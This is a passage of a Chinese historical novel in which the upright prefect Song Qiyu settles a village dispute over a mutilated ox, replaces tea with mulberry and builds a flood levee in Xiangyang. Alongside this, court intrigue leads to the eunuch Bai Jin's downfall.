这下,村民们有些躁动起来。他们不相信牛能说话。就听宋启愚又说:“赵里正,你和这几位站堂的乡民去把伤牛牵过来。”里正答应一声,带着几个同乡顺利地把牛牵到了台前。宋启愚又吩咐道:“赵里正,你喊话让村民们按户站好,也就是每户人家站在一起。”里正赶忙吆喝着让大伙分户站了队。接着,宋启愚对孙喜敬说:“孙掌事,拿出鱼鳞册,对照着一户一户点名。被点到的农户上前回话。”孙喜敬翻开账簿,大声点道:“王安。”“哎。”随着声音,一个汉子扶着老娘,拉着孩子,后面还跟着个抱娃的女人,走了过来。宋启愚见状,说道:“你们不必行礼,也不要害怕。过去牵着那牛在戏台边走十步即可。”王安一家遵命照做,顺利地牵牛走了十步。接下来,宋启愚如法炮制,让每户点到名字的村民前去牵牛,并让赵里正核对每家的人数。当轮到赵二顺一家牵牛时,不一样的状况发生了。那牛不但不往前走,还惊惧地不断后退,甚至连拉牛的绳子都被挣开了。宋启愚一拍桌子,喝令道:“长白,把这个做恶的人抓过来。”吴襄一个健步冲过去,不由分说,拧着赵二顺的胳臂,就把他提到了场院当中。宋启愚厉声说:“赵二顺,割牛舌者,牛自惊惧,做坏事者,见面脸红。如今,你丑事败露,还不从实招来。”那赵二顺自知理亏,又无从抵赖,便一股脑供出了实情。原来呀,这个赵二顺跟苗子一家是斜对门邻居,两年前因换地闹过矛盾,去年又因耍钱跟苗子起过纷争,于是怀恨在心。今天晌午他借众人回家吃饭的机会,以青豆引牛张口,并用刀割断了牛舌。 真相大白。宋启愚一拍桌案,说道:“赵二顺,你可知道偷盗耕牛乃是重罪,按律当重打一百棍,赔银十两。你虽未偷牛,但致牛伤残,也可归为盗窃之类,判你重责三十,赔银三两,你可心服?”赵二顺趴在地上,不停地磕头说:“小人不敢不服。只求大人饶命。小的再也不敢做这种缺德事了!小的知错了。”这时,赵二顺的爹娘哭着扑到儿子身上,捶打着儿子。他们又跪下哀求道:“青天大老爷呀,我这儿身子弱,可不经打呀。求老爷饶他一命吧!”宋启愚看了看赵二顺一家,又看了看怒气未消的苗子一家,说道:“本官在来此之前,已了解过黄家湾的情况。你村八十几户人家,主要分为四个姓氏,很多农户之间都沾亲带故,每个村民之间关系都不远。你们想一想,现在的邻居也许就是幼时的玩伴,现在的妻子也许就是村头的乡亲。你们平日里叔婶兄弟相称,饥荒时相互扶持照应,今日发生此事,实属不该。”很多乡亲被宋大人说得掉下了眼泪。赵二顺的爹娘给苗子夫妻跪下,求他们饶恕自己的儿子。赵二顺也跪爬到苗子跟前,痛哭流涕地求他原谅。黄家湾的几个老人上前给宋启愚施礼,替赵二顺求情。最后,苗子夫妻也跪到桌案前,乞求轻判赵二顺。宋启愚微微一笑说:“既然如此,赵二顺,看在父老乡亲们的面上,本官从轻判你向苗子赔银三两,在耕牛康复前给苗子家干活一个月,并在百日之内割青草供伤牛食用。另外,你每日要回想一件邻里曾经做过的好事,讲给你们里正听。”赵二顺磕头如捣蒜,高呼着青天。宋启愚又转脸问苗子夫妻:“原告,本官判案可还公道?”苗子夫妻忙磕头说:“公道,公道。”宋启愚便让他们当堂画押,算了了此案。黄家湾的村民何时见过如此英明的人物,他们打心眼里敬服这位新任的知州。 第十四回9 白监军祸晋 宋启愚治襄 宋启愚宣布退堂后,把赵里正叫到没人处,拿出一块碎银,对他说:“我看那赵家并不富裕,又有父母在堂,这银子给他,算是本官替他还账,告诉他以后本本分分地做人。”里正手捧银钱,感动得热泪盈眶。他不敢相信天底下还有这么好的官。宋启愚接着说:“赵里正,下面麻烦你给本官带个路。我要看看这个村的土地耕作情况。”赵老大忙不迭地应承下来。他又转身叫住两个村民说:“老四,小黑,快去四叔家把滑竿抬来,咱们抬着老爷去田里看看。”宋启愚忙叫住他们:“回来,回来。本官不是那让人伺候的大老爷。你们陪着我走过去就是了。咱们还能说说话,让我多了解些乡间的事情。” 一行人且说且走,在黄家湾的田间地头、坡地水塘转了将近一个时辰。 在回村的路上,宋启愚问道:“赵里正,刚才咱们看了村里的茶园,今年茶叶的收成和价格如何?”里正笑眯眯地说:“咱村现在有二十几户人家种茶,赶上这几年雾气大,能采不少茶叶呢。现在这茶叶的价格也高,散茶能卖到十七八个钱一斤,茶砖能到二十四五个钱一饼,一亩茶园一季能挣一两多银子,比种庄稼多出四五百文呢。”宋启愚又问:“咱们村以前就种茶吗?还有其它赚钱的营生吗?”里正答道:“几十年前,咱村的人都以种地或打鱼为生,也有七八户靠采桑养蚕赚些小钱。后来,从隔壁县迁来了一户人家。他们会种茶,这没几年的功夫,竟成了村里的大户。别的乡民见了,眼气得很,也就跟着种。十年下来,村里的这些茶农也都发了财。现在还有好几户也想把坡上的桑树除了,改种茶树呢。”宋启愚接着问:“我查过地方志,咱们襄阳在历史上可是产丝重镇,怎么现在就不行了呢?”里正叹了口气说:“哎,三四十年前,老百姓连饭都吃不上,谁还买得起丝线啊。也就这五六年,算是能维持,但也比不上种茶。现在我们临近的几个村也跟我们差不多,都有茶园。”宋启愚听完,笑了笑,没有再说话。 出了黄家湾,宋启愚接过从人递过来的缰绳,突然略有所思。他扭头对孙喜敬说:“我看咱们襄阳多数地方都跟这里相似,五分田、二分山、三分水,土地肥沃,江水丰沛,应该旱涝保收,岁有余粮才对,可为什么百姓的日子还这么苦呢?”孙喜敬小心地回道:“这个,请大人恕罪,属下没想过,也说不好。” 当晚,宋启愚告诉余允文、曹可用和吴襄等人,他将于近日发布首道政令。但不是他们之前预料的推广茶叶种植,鼓励茶叶买卖,而是即刻砍伐茶树,改植桑苗,奖励养蚕制丝,重振襄阳的丝绸产业。 第十四回10 白监军祸晋 宋启愚治襄 曹可用一听就急了。他说:“宣道,这茶叶生意少说有三四倍的利呀!你又调查了这么久,怎么就泛起糊涂了呢!”吴襄也说:“是呀,今天在黄家湾你不是也说这是条致富的路吗。这茶树要是砍了,至少三四年恢复不起来呀。老百姓能愿意吗?”就连余先生都劝宋启愚慎重考虑。宋启愚呵呵笑着,把他们几个又按回了座位,还给他们斟满了茶水。他慢吞吞地说:“我,正是顾全,老百姓的利益,才准备这样做的。”宋启愚看着曹可用说:“可用,盐业生意你很熟悉,但你可知早期的盐并非朝廷专营,利润可达五六倍。当时,很多商人投资贩盐,也有不少人实现了暴富。可没过多久,当时的朝廷就盯上了这项买卖,于是皇家很快便下达了禁榷令,所有的盐必须以极低的价格卖给国家,然后再由朝廷组建机构去贩盐牟利。这也就是说皇家的一道命令就剥夺了老百姓所有的利益。”宋启愚扫视着众人,接着说:“如今,茶叶的利润也达到了三四倍,你们想想看,朝廷会让百姓长期占据这些利益吗?况且,圣上虽然英明,却架不住群小当道。现在,朝廷的财政状况已经入不敷出了。我本想用推行新奇事务的办法,增加国家收入,可没想到却遭人排挤,被迫外放。就目前的情况看,即使今年茶叶还能自由贸易,等到明年也逃不脱被禁榷的命运。一旦朝廷不允许百姓私自买卖茶叶,国家一定会将收购价压得极低,并且不允许茶农随便转行,更不允许损毁茶树。到了那时,恐怕这些种茶的农户就只有死路一条了。”宋启愚怅然若失地说:“咱们襄阳沿江地区还好些,但鹿门山和南漳县一带种茶的农户占到了十之五六,我怎么忍心看着那里的老百姓受苦呢?别的地方我管不了,但在襄阳,我要尽量减少人民的损失。”曹可用第一个反应过来。他用无比崇敬的目光看着宋启愚,说道:“宣道,我懂了,你就说要我们做什么吧。”宋启愚点点头说:“襄阳地区我来负责,樊城有黄秩五大人在,推行政令难度不大,但南漳县和宜城县必然会竭力反对,我又不能把今晚的这些话对他们言明。因为,朝廷毕竟还没有露出专卖茶叶的意图。所以,我在下达严令的同时,要让可用到宜城去,让余先生和长白到南漳去,督促当地的除茶改桑工作。”余允文三人起身行礼。余先生说:“宣道用心良苦,我们定然倾力保障除茶改桑的完成。”宋启愚让三人起来,又说:“虽说禁榷茶叶会伤到茶农,但对于我光裕寨的商号来说却是一个挣大钱的机会。你们到了各地马上收购茶叶,能收多少就收多少,不必刻意压价,然后再将买到的茶叶全部销往北方,即使价格无法翻倍,其利润也必定丰厚。” 三天后,宋启愚在与黄秩五等人谈心后,下达了上任以来的第一道政令。 第十五回1 治世艰辛 这一日,宋启愚带着水司掌事赵随心顺江岸探看江防情况。就见汉江水流湍急,宽过百丈,大舰小船,浪中竞渡。而岸边的夯土大堤就似一条长龙,蜿蜒趴伏在江水之滨,护卫着主城的安全。宋启愚感叹道:“江流天地外,山色有无中。古人所言不虚呀。”他又指着堤岸说:“赵大人,这老龙堤为什么不修成石堤呢?它可关系到襄阳及周边几十万官民的身家性命呀。我家乡有条滹沱河,比这水势小得多,但为了防备山洪,我们寨子里还修了三里多长的石堤呢。”赵随心苦笑着说:“宋大人,您知道州里每年拨给河工多少银子吗?”宋启愚说:“不是每年六万两银子的治河钱吗?”赵随心叹了口气说:“大人啊,莫说六万两,我们河工上连六千两银子的修缮费用都拿不全呀!”宋启愚诧异地问道:“怎么回事,你详细说说。”赵随心眼望着江水说道:“大人,我任水司掌事六年了,您前面的两位知州刚到任时也说要修石堤,我们水司还做好了修造方案,可最后都不了了之。您……您……”看他欲言又止的样子,宋启愚笑着拍了拍赵随心的肩膀,说道:“赵大人,我上次跟你谈过。我主政后首先要做三件事,其中就有治水一项。只是我没有这方面的经验,因此,希望赵大人和水司的属员能对宋某不吝赐教,帮我完成这一目标。只要是对江防有益的,赵大人但讲无妨。”赵随心点点头,接着说:“既然大人垂询,下官就知无不言了。大人请看,这汉江虽然汹涌势大,但襄阳城地势较高,而且我们这一段河道也宽,发生水患的可能性远低于汉水沿岸的天门、鄂州等地,再加上这道三国时期修建的老龙堤,只要年年正常维护,基本上就能扛住十年一遇的大汛。正因如此,历任知州都不愿再往这江里投大钱。他们只想小修小补,然后再轻而易举地将几万两银子装进自己的腰包。而朝廷如果有人来查,他们又可以说那些钱都拿去修了堤坝。”宋启愚皱了皱眉头,问道:“那若赶上大汛,又会如何?”赵随心先咬牙说了“惨不忍睹”四个字,又呆呆地望着江面,喃喃言说:“本地几乎每家每户都有人葬身于这涛涛江水。”他转脸望着宋启愚说:“若宋大人真能修成石堤,那我襄阳的老百姓万世万代都要感念大人的恩德。”宋启愚坚定地说:“要修,一定要修,我不但要把现有的老龙堤修成石堤,还要在襄阳城东修东堤,那才能确保百姓们安全度汛。”赵随心有些感动,但他旋即想起了以前那些爱说漂亮话却不做实事的上官。他平复了一下心情说道:“大人可知,修一里石堤至少需银万两,这十几里可就是十几万两银子呀。”宋启愚看穿了赵随心的心思,呵呵一笑说:“赵大人放心,经费方面我来想办法。你现在的首要任务是召集水司属员仔细探看堤坝状况,把方案做详细了。以后,你有什么难处尽管来找本官。我会优先满足修堤的需要……” 第十五回2 治世艰辛 同泰五年立夏这天,一支华丽的车队在五百军兵的护卫下,浩浩荡荡地开到了汴京的安远门外。大太监白晋从头车上钻了出来。他长长地舒了一口气,眼圈一红,当街跪倒。他对着天空哭喊道:“主子,奴才回来了。主子,奴才费尽周折终于找到了大康鼎。奴才还请高僧给大鼎做了七七四十九天法事。奴才这就进宫把宝物献给您老人家。” 与此同时,身处皇宫内院的太监总管白晨也得到了禀报。他唤过心腹太监,说道:“小全子,你马上到南云观去,把那两位女道士接到清虚阁。告诉她们报仇的时候到了。你行事要格外机密,切不可走漏风声。”小全子机灵地答应一声,转身去了。 次日午后,同泰帝处理完政事又小憩了片刻,觉得神清气爽,便对白晨说:“昨日,白晋进献的大康鼎现放在什么地方?朕要去看一看。”白晨笑着躬身答道:“回主子,那宝物是炼制仙丹用的。奴才已将它请入了清虚阁,交给了二位上人。”同泰帝说:“那就起驾清虚阁。把白晋也叫到那儿去,朕要重重地赏他。” 得到召见的白晋急火火地奔到清虚阁外,诚惶诚恐地跪伏在地。当他看到同泰帝御驾到来时,他发自内心地哭喊道:“主子,奴才白晋拜见主子。奴才日思夜梦就是想早日回京,伺候主子呀!奴才,呜呜……”同泰帝笑着说:“白晋啊,起来吧。你这奴才差事办得不错,朕会赏你的。”他看白晋还在呜咽,便用更亲和的口气说道:“哎,哎,白晋,见了朕怎么还哭了。你这是回家,该高兴才是。”白晋破涕为笑说:“奴才,奴才在主子面前失态了。能见到主子,奴才确实高兴。”同泰帝摆摆手说:“你们两个奴才随我进去。”说完,同泰帝便大步跨进了清虚阁。 刚进大门,同泰帝便闻到一股异香,而从地砖的缝隙中又有烟雾缓缓升腾,前方的阁楼也有些模模糊糊。这时,两个白衣女道士从阁楼里飘然而出,站定后各一稽首说:“二位上人正为宝鼎施法,特吩咐我姐妹陪陛下观鼎。”同泰帝移步向前,仔细打量那两个女人。但见这二人均用白绢扎着高高的发髻,身穿白纱衣裙,外罩月白缎镶金边长坎肩,腰系红褐色丝绦,脚上没有鞋子,只蹬着素白的罗袜。微风吹动衫裙,两人的玉臂玉腿若隐若现,十分的诱人。同泰帝笑着说:“看来,还是二位上人的花样多。今天,不知又要给朕怎样的感受。”他走上台阶,对女道士说:“有劳二位仙姑了。”两名女道士说了声“陛下请进”,便飘然进了阁楼。同泰帝不想让白晋知道自己的丑行,回身说:“白晋啊,你的诚心朕已知晓。你且回去,朕自有恩旨给你。”白晋在磕头谢恩后,从清虚阁退了出去。 第十五回3 治世艰辛 同泰帝进入阁内,眼见大康鼎端端正正地放置在大堂中间,鼎身上泛出莹润的光泽。他赞叹道:“果然是问道求仙的至宝呀!”此时,那两个女道士从门边的条案上各取了一盏熏香烟枪。其中一个用轻柔的声音对同泰帝说:“请陛下驻足,我姐妹为陛下润香五官和双手。”另一个女道士则轻轻吸了一口熏香,贴近同泰帝的耳根缓缓呼出。紧接着,两个女道士又先后用小嘴将香雾轻喷在同泰帝的眼、鼻、口和双手上,并反复进行了多次。同泰帝虽然阅女无数,但从来没有被仙女勾引的体验,随有些心猿意马起来。他伸手想触摸一下仙女的身体,可却只碰到了女道士的衣带。接下来,同泰帝随着两个女道士胡乱地看了看大康鼎,又欣赏了几件道家宝器,回身问白晨:“二位上人后面怎样安排?”白晨还未答话,从阁顶飘下一块黄绢。白晨赶忙过去接住,跪献给皇帝。同泰帝打开一看,绢上写着:“仙女婀娜不可轻与,请陛下斋戒三日,月圆之夜极乐、致乐。”同泰帝抬头再找两位女道士,二仙女早已遁去,没了踪影。同泰帝呆立在阁中,犹如做了一场春梦。白晨上前轻声说:“陛下,陛下,该回了。”同泰帝这才反应过来,手握着黄绢,悻悻地回宫去了。 三天里,同泰帝食不甘味,处理政事也有些心不在焉。不过,白晋倒过得异常滋润,不但受了赏赐,还得到了兼任关北大同监军的旨意。他志得意满,欢喜之极。 四月十五的晚上,同泰帝早早来到了清虚阁近旁的永春房沐浴等候。清虚阁的二位上人特意将房间布置得犹如月宫一般。过了戌时,一轮满月举头可见,同泰帝正在焦急,忽听身后有女子轻唤:“陛下,本仙来也。”可待转头,却不见人。正疑惑间,从左右月亮门中各飘出一位仙子,正是先前所见的二位女道士,只是所穿白衣更为轻薄,几乎能看到美丽的躯体。被吊足了胃口的同泰帝再也把持不住。他张手向前,左拥右抱,与婀娜仙子缠绵在了一起。 翌日清晨,同泰帝从梦中醒来,他迷迷糊糊地伸手想抱住左右的美人再温存一番,可却抓个空。他揉揉眼睛坐起来,突然发现那两名女子穿戴整齐、满面泪痕,正跪在床前端详着自己。同泰帝被吓了一跳,忙问道:“二位仙姑这是为何?”两个女子哇地哭出了声。她们磕着头说:“我姐妹有天大的冤屈、全家被奸人谋害,求告无门,特请陛下替我们伸冤。”同泰帝吃惊地看着眼前的两个女子。他的脑子飞快地转动着。他有些后怕。他知道,象这样来历不明的女人在宫墙之内还有不少。过了一会儿,他才说道:“你们有什么冤情,尽管讲来。若确实冤枉,朕一定替你们做主。”二女哭着将岳晋兴一家被白晋和林仁恭敲诈灭门的整个过程详细地讲给了同泰帝。 第十五回4 治世艰辛 之后,二女还拿出了白晋在山西做恶的另外几份记录文稿,呈送给皇上。她们哭着说:“白晋和他的党羽在山西坏事做尽。山西人恨不能食其肉寝其皮,而在山西又无人敢招惹这位监军。现在,我们只能求陛下救救山西的百姓了。”她们顿了一下,继续说:“我姐妹本是乡野贱民,服侍了陛下,损害了圣德,本就该死,怎么处置我们都无怨言。只是,在我姐妹临死之前,求皇上一定降旨加罪白晋,替我岳氏二十几条冤魂和山西的百姓报仇!”同泰帝此时的心情非常复杂。他不喜欢受窘,更不愿被人牵着鼻子走。他咬着牙说:“想不到白晋这奴才如此可恶,让朕如此难堪。好,子民有难,朕不能不管。你们先起来,朕即刻处理这些祸害地方的狗奴才。”同泰帝冲外面喊道:“白晨,白显,你们这两个狗奴才是死人吗!还不进来。”看见两个太监连滚带爬地进了屋,同泰帝吩咐道:“白显,你立即去敬事房传旨,锁拿白晋和他的手下。另外,再去政事堂传旨,处死那个叫林仁恭的山西同知。”白显答应着跑出去了。岳氏姐妹匍匐在地,痛哭着感谢皇帝。同泰帝略一沉吟,又说:“至于你们姐妹,虽然可怜,但必须加罪。白晨,将她们交到皇家道观,与青灯为伴,终生不得出观。”说完,同泰帝披上中衣,起身离开了房间。 当天晌午,白晨将岳氏姐妹送到了南云观。在房间中,白晨取出两个小瓷瓶放在桌子上,低声说道:“几个月前,咱家派出的亲信将你们救出,并助你们报仇。今大仇得报,你们还有什么遗憾吗?”两女跪在白晨面前,坦然说道:“公公的大恩大德,我姐妹今生无以报偿,只有来世给公公当牛做马,结草衔环。我们两个肮脏之人,只愿向北再祭拜祭拜家人,然后,便可了无牵挂地去了。”白晨点头说:“可以。咱家本欲留你们性命,只是,过后皇上肯定要追查此事。虽然,咱家已将你们的身份掩饰得天衣无缝,但为了不牵连他人,你们……”白晨指了指桌上的小瓷瓶,又说:“喝下此物瞬间毙命,绝无痛苦。大殿方向即是北方,你们可向那里叩拜,然后……”白晨一边起身往外走,一边说:“咱家就在门外等候。” 午膳以后,同泰帝的精神恢复了许多。他屏退左右,只留白晨在跟前。同泰帝说:“朕虽好色,但绝不昏聩。今天发生的事情,让朕很是后怕,倘若那两名女子不是告状,而是刺杀朕,还焉有朕的命在。还有那二位上人,引荐女子竟然不加甄别,还要一味地诱惑朕,这使朕非常难堪。所以,今日的事情一定要查。你去处理此事,其一,查清楚那两个女人受何人指使,是谁放她们进宫的。其二,在宫里也查一查,还有没有相似情况的人。其三,你去礼送二位上人出宫。他们太过淫邪,朕不喜欢受人摆布,更不想让人污朕失德。至于问道求仙吗,先放一放再说。”白晨忙跪倒说:“陛下英明。奴才这就去办。”白晨起身刚要离开,同泰帝又叫住他说:“还有,你先去敬事房,把白晋贬到绍兴去,就当个采买使好了。告诉他,坏了朕的名声,理应受罚,但知道对朕忠心,却罪不至死,只是,以后做事务必用心,不要再这般强横。” 第十五回5 治世艰辛 此时,在千里之外的襄阳城南,宋启愚正和水司的属吏们组织民夫开采、搬运着石料。宋启愚跟普通民夫一样,推着独轮车,在山石坑和石料场之间来回运送着大大小小的石块,唯一不同的是,别人都光着膀子,而他穿了一件背心。在石料场卸完了车,宋启愚拍拍手上的灰土,将车推到一旁,用瓢在大水缸里舀了半瓢茶水咕咚咕咚喝下,又对着旁边的属下喊道:“穆六子,这几缸茶剩一半了,水也凉了,新茶烧开了赶快添上。王石头,让那边装满石料的车和那些拉木头的车往大堤上运。”他走向旁边的凉棚,打算歇歇脚再干。几十个民夫见宋大人过来,急忙站起来。大家憨笑着跟宋启愚打招呼。宋启愚也笑笑说:“乡亲们快坐下,歇一会再干。”一个汉子仗着胆子说:“宋大人还真行。我原以为大人就是做做样子,没想到,大人一点不惜力,这两天跟我们干一样的粗活。”宋启愚摊开双手说:“我没你们干的多,我这手上连个厚茧都没有。”一个上了些年纪的民夫说道:“大人是读书人,本就跟我们不一样,只是,大人跟以前的那些老爷也不一样,吃得了苦。”宋启愚说:“老哥,我这是心里着急呀。从现在到汛期只有一个多月了,这石堤修不好,我心里不踏实呀。即使只从夫人城修到禹王庙,这工期还是紧了些。希望今年没有大汛,我襄阳的百姓能平安度过这个夏天。若再有一年时间,我定能将石堤建成。”有个小伙子站起来说:“宋大人,岘山的百姓都感激您减免了这半年的皇账。”宋启愚笑着说:“你是习家池的小伍子吧。这青黄法本就规定年底还账,可有些官吏却硬让百姓分成上下半年两期还这个钱,而且还增加了利息,这样做本身就是错的,抓你们就更不应该了。我让他们放了你们,并降低了利息,只是做了我分内的事情。”小伍子很激动地说:“大人还记得我的名字。”宋启愚接着说:“你忘了,当时,你们几十个人在大堂上还骂我呢,数你骂的凶。我手下的属员冲上去就想揍你,被我喝止住了。”小伍子不好意思地挠了挠头说:“小的该死,当时也是急了眼,心想反正还不上账了,嘴上痛快痛快,被关挨打也认了。”宋启愚呵呵一笑说:“好了,嘴上也痛快了,我也把你放了,现在,该接着干活儿运石头了。”众民夫嗷嗷叫着跑出凉棚,谁也不甘落后。小伍子拿着工具,跟在宋启愚身后,边走边问:“宋大人,你别的命令都好,就是为啥要除茶改桑呀?有好多农户都在暗地里咒你呢,你图个啥呀!”宋启愚认真地说道:“我知道茶农们一下子接受不了。但多则一年,少则半载,他们就会明白我的用意。只要你们相信我,三五年之内,我一定让襄阳的老百姓生活得更好。” 第二天,宋启愚的身影又出现在丁家嘴大堤上。他先检查了一下工程的备料情况,又向几位匠师求教了汉江的水流和石堤的建造工艺情况,还查看了民夫们的住宿和饮食状况。其后,他找来一批刚刚经历了除茶改桑的民夫,了解他们的困难,保障他们的生计。最后,他又亲自参与了打桩、挖土等筑堤工作,直到酉时才回府休息。 第十五回6 治世艰辛 四月二十九是翰林院掌院学士黄大人的五十岁生辰。作为下属,童道生早早到了黄府。他先献上贺仪贺礼,又当面给黄大人贺了寿,然后信步来到后园听戏,等待仪典开始。不大的功夫,园里已经聚集了百十号来宾。大伙闲聊打趣,很是热闹。这时,有人从后面拍了童道生一把说:“再造来得早呀。”童道生转头一看,原来是同科进士付云瑞、朱昌海和汪伯彦。童道生赶忙笑着拱手说道“三位年兄也不晚呐。快坐下喝茶看戏。”通过闲谈,童道生了解到了不少朝廷新闻。其间,户部主事汪伯彦说:“你们可能还不知道吧,朝廷马上就要任命执政雷思平兼任我们户部的尚书了。他搞钱还是有两下子的。”吏部主事付云瑞笑着说:“这我十天前就有耳闻了。这位雷执政原先是盐运使出身,后来又做过巡抚,他跟王相的关系不一般。现在去你们户部,不知道想搞什么名堂。文泰不是升郎中了吗,一会儿他来了,可以问问他。”汪伯彦压低声音说:“我了解过,这个雷执政贪得很,西大街上的万安古董行就是他的买卖。”朱昌海不以为意地说:“这有什么奇怪的?朝里很多大臣不是都开的有买卖吗?”汪伯彦看着朱昌海笑出了声,说道:“朱兄,你和再造在翰林院待久了,不明白这里面的事。他那古董行其实就是个收受贿赂的地方,里面没有一件真古董。比如某官想谋个肥差,愿意花三万两银子,如果直接送钱,容易授人以柄。执政就说自己看上了万安古董行的某件古董,那人会乖乖地到店里花钱把古董买下来,这叫雅贿懂不懂。之后,执政收了钱当然会把那肥缺给某官留着。”童道生故做吃惊状,说道:“竟有这样的事。这官场的学问,我还真是没弄懂呢!”付云瑞呵呵笑着说:“小老弟只要经常请我们这些同年吃吃酒,我保你不出两年,什么都明白。”然后他又转向汪伯彦说:“汪兄,说正经的,朝廷为什么让雷执政去你们户部呀?”汪伯彦说:“也许是因为国库日渐空虚,要增加朝廷税赋吧。反正后面是有的忙了。”他又问朱昌海:“你们翰林院最近也很忙吧?今年又要开恩科了,不知道主考会是哪位大人。”这时,就听门口的执事高声喊道:“吉时将到,请各位老爷,各位宾朋移步前厅参加我家大人的庆寿典礼。”众宾客纷纷撂下手中的茶碗和瓜子站起身来,大家相让着走向了前厅。 童道生吃完寿酒回到府中已是申末时分。王虎迎他进门说:“大人,余天锡和邝匠头来了,正在厅里等着呢。”童道生边往厅堂走边说:“工部的魏孝义升了侍郎,看来是容不下天锡了,他肯定派亲信接管了洛阳的工坊。”来到堂前,童道生笑着招呼说:“邝匠师、天锡,我都听说了。你们不用担心,再不济,跟着我也行。” 第十五回7 治世艰辛 余天锡爽朗地笑道:“那份差事不干也罢。我本来就是替宣道大人看管工坊的,现在宣道大人走了,我才不给那姓魏的出力呢。今天我已经将司吏的牌票交还了工部,彻底自由了。”邝玄也笑着说:“我这女婿辞了职,我也不想在工部干了。而且,匠头不属于官吏,我更是自在,想去哪里都可以呀!”童道生又让二人落了座,问道:“那,你们今后有什么打算?需要我帮忙的话,你们尽管开口。”余天锡说道:“我与岳丈都商量好了,准备南下投奔宣道。到时候,我给大人做护卫,我岳丈帮大人搞工程建设,天大地大,我们定能做成些大事来。”童道生点点头说:“既然你们决定了,那就去吧。我若不是官身,我也想长留在宣道兄长身边,蒙其教诲呀……” 过了五月节,就是襄阳的举子们上京赴考的日子了,宋启愚亲自带领州里的学正等官员到临汉门码头给四十几名学子送行。他望着渐行渐远的船队,脑海中似又浮现出自己当年赶考的情景,不禁一阵惆怅。过了片刻,宋启愚缓过神来。他转身对着众人略一拱手,说道:“众位都回衙门办差吧。本官也要到大堤上去看看,就此散了。”说完,宋启愚带着水司的随员离开码头,向西行去。 等宋启愚走远,其他的官员也陆续离开后,学正梁学古捅了捅吏司掌事孟庆彬,说道:“孟大人,你家的酒楼现在还能营业吗?”孟庆彬压低声音说:“梁大人明知故问啊。现在正在修大堤,汉江边上的酒楼还有几家能接待客人的?”梁学古又说:“不知道咱们这位州牧要折腾到什么时候。当年我们这儿是‘春堤缭绕水徘徊,酒舍旗亭次第开。’可现在又是除茶又是造堤又是减息的,弄得是民生困苦,商业凋敝。”孟庆彬也摇着头说:“我听户司的人说,现在襄阳库里一共只有几万两银子,再过些时日,我们都得跟着去喝西北风。”梁学古望着江面说:“这象什么样子,一个做官的人整天跟那帮泥腿子混在一处,真是丢读书人的脸。我们得想办法让省里知道这些事才行。”孟庆彬有些犹豫,问道:“你是说到巡抚范大人那儿告他一状?可是,这位大人一不贪脏二不枉法,咱们告他什么呢?难道让省里来查账不成?”梁学古急忙摆手说:“千万不可,范大人以前也在襄阳做过知州。你知道他从咱们这儿弄走了多少钱?派人来查,那不是查他自己吗!咱们再想想,最好能多联络些人,有了确凿证据再说。”两个人又在码头上嘀咕了一会儿,才各自离去。 是夜,随着一场豪雨,汛期在不知不觉中到来了。 面对人心不齐、石堤未成、民生不定的艰难局面,宋启愚感到了前所未有的压力。自己该如何面对治世的艰辛呢?自己又该怎样推行既定的策略呢?宋启愚陷入了深深的思索之中。 第十六回1 老天不负有心人 同泰五年,长江和汉江地区的降雨较往年丰沛。尤其是进入了七月之后,天空象被捅漏了一样,日夜下个不停。随着数次洪峰涌过襄阳,宋启愚食不安寝。他一面上书朝廷,报告襄阳的水文情况,申请赈济,救助灾民;一面组织人员日夜在大堤上值守,观察江水涨落,及时排除险患;他还征调了数千民夫,把沙石和木料运上城头,以备随时加固城防。 到了中元节这天,汉江水位离老龙堤顶部只有五尺多的距离了。襄阳的官民都很恐慌。一些军将官吏开始调用车辆、船只,将家眷和财宝转运到岘山高处。正在大堤上指挥抗洪的宋启愚闻报大怒。他先写下安民告示,叫曹可用带着人回城沿街宣示,安抚人心;他又出了两道手令,让余允文和孙喜敬调所有在任的四十岁以下官吏上堤救险。宋启愚穿着蓑衣戴着斗笠,补充说道:“对那些临阵脱逃、扰乱人心的兵将,立即锁拿。对胆小怯战、拒不来堤的官吏,一律革职听参。”而后,他便带着吴襄、赵随心、余天锡等人,又一次冲进了风雨中。 两天后,上天似乎开了恩,瓢泼大雨渐渐减弱,只剩下淅淅沥沥的雨滴不时落下。宋启愚回到帐篷,长舒了一口气。余天锡手提冒着热气的茶壶进来,笑着说:“大人,喝碗热姜茶暖暖身子吧。”宋启愚接碗在手,说道:“给大家都倒上,你们也喝些。”他喝了一口姜茶,难过地问道:“孙掌事,前日在碎石嘴为了堵涌喷被冲走的几个民夫找到了吗?”孙喜敬摇了摇头说:“还没音信,也没捞到尸首。”宋启愚说:“要继续找。等洪水过去,若还找不到,要重恤他们的家人。以后每年还要发给其家属补贴,以安人心。”宋启愚又问孟庆彬:“孟掌事,丁标、王和通还有赵祖荫几位大人身体好些了吗?”孟庆彬躬身答道:“他们并无大碍,只是被雨一浇,受了些风寒。”宋启愚听后说道:“不能大意。长白,一会儿带个郎中替我去看看他们,把我府里的补品也带些过去,让他们好生调养。”宋启愚又想了想说:“孟掌事,梁学正和州学里的几位先生这两天辛苦了。他们身子弱,就不用在堤上呆着了。等抗完了洪,我再去感谢他们。”赵随心在旁边说:“宋大人,您也回府看看吧。您已经在大堤上劳作了十几天,太累了!”宋启愚摆摆手说:“不差这几天,夫人会把府里安顿好的。你们先去吧。我就在这儿睡上个把时辰,缓缓乏。”众人看着疲惫的知州大人,内心都很感动。他们默默转身,相继从帐里退了出去。 一觉醒来,宋启愚赶忙起身,套上蓑衣,带着余天锡就往大堤上奔。赵随心迎上来说:“大人,这水已退去了两三寸,只要别再连续暴雨,今年的汛期就算是平安度过了。”宋启愚稍稍安了心。他转头对水司的另外一位官员说:“顾三省,你赶紧到卧铁牛去,利用这个空当,把堤坝较低的地方用石头、沙袋再加固加固。”顾三省答应一声,带着人去了。宋启愚又让赵随心去巡视老龙堤西段,而他自己则带着几个人往东巡查。 第十六回2 老天不负有心人 次日中午,宋启愚和民夫们一块吃罢了晌饭,正欲回州衙处理积压多日的公务。赵随心突然跑过来,惊慌地说:“大人,不好了,江水重新上涨了。”宋启愚一下子紧张起来。他跑到堤边,望着滔滔江水,焦急地询问情况。一个上了年纪的河工说:“大人,也许是上游下了暴雨,泄到咱们这儿的。”宋启愚又问:“老哥,以你的经验,这水能有多大?”河工说:“这可说不准啊。几十年里,就属今年的水大呀!”宋启愚急得一跺脚。他立即吩咐属官们到各个堤段上,并交代他们要想尽一切办法加高加固堤坝。 